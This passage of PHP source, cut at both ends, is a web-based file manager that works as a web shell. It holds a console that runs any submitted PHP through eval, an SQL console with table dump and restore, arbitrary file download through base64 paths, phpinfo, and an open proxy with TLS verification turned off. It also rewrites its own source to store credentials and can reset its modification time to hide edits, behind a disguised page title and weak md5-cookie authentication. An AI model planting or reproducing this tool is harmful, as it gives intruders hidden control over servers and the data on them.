	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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